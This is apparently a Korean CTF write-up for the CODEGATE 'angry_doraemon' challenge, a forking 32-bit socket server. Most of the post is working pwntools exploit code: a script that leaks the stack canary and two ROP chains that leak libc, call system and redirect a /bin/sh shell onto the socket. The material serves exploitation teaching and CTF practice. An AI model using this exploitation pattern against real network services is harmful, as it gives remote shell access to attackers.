Self-Improvement
[CODEGATE] angry_doraemon (32bit) 풀이 및 Pwntools 본문
FILE
ELF 32bit, dynamically linked, stripped
적용된 보호기법
Functions
IDA
Main
8888포트로 소켓 통신이 이루어진다.
그리고 그림엔 없지만 fork()로 인해 canary는 고정이 되어진다.
sub_8048FC6
취약점이 존재하는 함수를 바로 확인해본다.
buf 변수는 ebp-0x16이며 canary(ebp-0xC)를 빼면 10바이트크기를 가지고있다.
하지만 read함수에서 110바이트를 읽어들이고 있음으로 BOF가 발생하게 되며 sprintf함수에 의해 memory leak으로 canary까지 구할 수 있을 것으로 보인다.
Canary LEAK
canary의 뒤 1바이트가 \x00으로 존재한다는 가정하에 11바이트를 전송하여 leak 해본다.
그리고 11바이트를 채울 문자열을 전송할때는 첫 바이트는 y(0x121)로 전송을 해야 IF문에서 True로 진행된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
context.log_level='debug'
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
p.recvuntil('>')
p.sendline('4')
p.recvuntil("(y/n)")
payload='y'*11
p.send(payload)
p.recvuntil('y'*11)
print hexdump(p.read(3))
|
cs |
ROP
Canary를 얻었으면 이제 ROP를 진행해야한다.
ROP에 필요한 것
1. write 함수주소
2. read 함수주소
3. system 함수주소
4. bss 영역
5. pop pop pop ret 주소
6. read-system offset
Python Pwntools
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
from pwn import *
context.log_level='debug'
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
p.recvuntil('>')
p.sendline('4')
p.recvuntil("(y/n)")
canary=0x76384a00
offset=0x9ad60
p3r=0x80495bd
bss=e.bss()
binsh="/bin/sh 0>&4 1>&4 2>&4\x00"
payload='y'*10
payload+=p32(canary)
payload+='B'*12
payload+=p32(e.plt["write"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(e.got["read"])
payload+=p32(4)
payload+=p32(e.plt["read"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(bss)
payload+=p32(len(binsh)+2)
payload+=p32(e.plt["read"])
payload+=p32(p3r)
payload+=p32(4)
payload+=p32(e.got["write"])
payload+=p32(4)
payload+=p32(e.plt["write"])
payload+='C'*4
payload+=p32(bss)
p.send(payload)
p.recv()
read_addr=u32(p.recv()[-4:])
system=read_addr-offset
p.send(binsh)
p.send(p32(system))
p.interactive()
|
cs |
Pwntools ROP.chain()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
context.log_level='debug'
e=ELF('./angry_doraemon')
p=remote("localhost",8888)
p.recvuntil('>')
p.sendline('4')
p.recvuntil("(y/n)")
canary=0x76384a00
offset=0x9ad60
bss=e.bss()
binsh="/bin/sh 0>&4 1>&4 2>&4\x00"
rop=ROP(e)
rop.write(4,e.got["read"],4)
rop.read(4,bss,len(binsh)+2)
rop.read(4,e.got["write"],4)
rop.write(bss)
payload='y'*10
payload+=p32(canary)
payload+='B'*12
payload+=rop.chain()
p.send(payload)
p.recv()
read_addr=u32(p.recv()[-4:])
system=read_addr-offset
p.send(binsh)
p.send(p32(system))
p.interactive()
|
cs |
'리버싱 기초 > CODEGATE' 카테고리의 다른 글
[CODEGATE] betting (64bit) 풀이 및 Pwntools (0) | 2020.06.18 |
---|---|
[CODEGATE] BaskinRobins31 (64bit) 풀이 및 Pwntools (첫 64bit Pwn) (0) | 2020.06.16 |
[CODEGATE] Nuclear (32bit) 풀이 및 Pwntools (많은 삽질을 하게 한 문제) (0) | 2020.06.11 |
[CODEGATE] BabyMISC (32bit) 풀이 및 Pwntools (0) | 2020.06.08 |
[CODEGATE] babypwn (32bit) 풀이 및 Pwntools (0) | 2020.06.03 |